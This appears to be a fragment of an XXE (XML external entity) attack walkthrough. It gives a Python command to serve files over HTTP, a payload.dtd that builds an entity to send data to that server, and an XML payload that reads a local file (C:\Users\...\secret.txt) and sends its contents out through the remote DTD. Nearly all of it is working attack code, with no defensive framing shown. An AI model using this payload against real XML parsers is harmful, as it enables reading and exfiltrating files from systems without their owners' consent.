python -m SimpleHTTPServer 80

# 2.2 Upload the payload.dtd file to your web server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\jolmedo\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
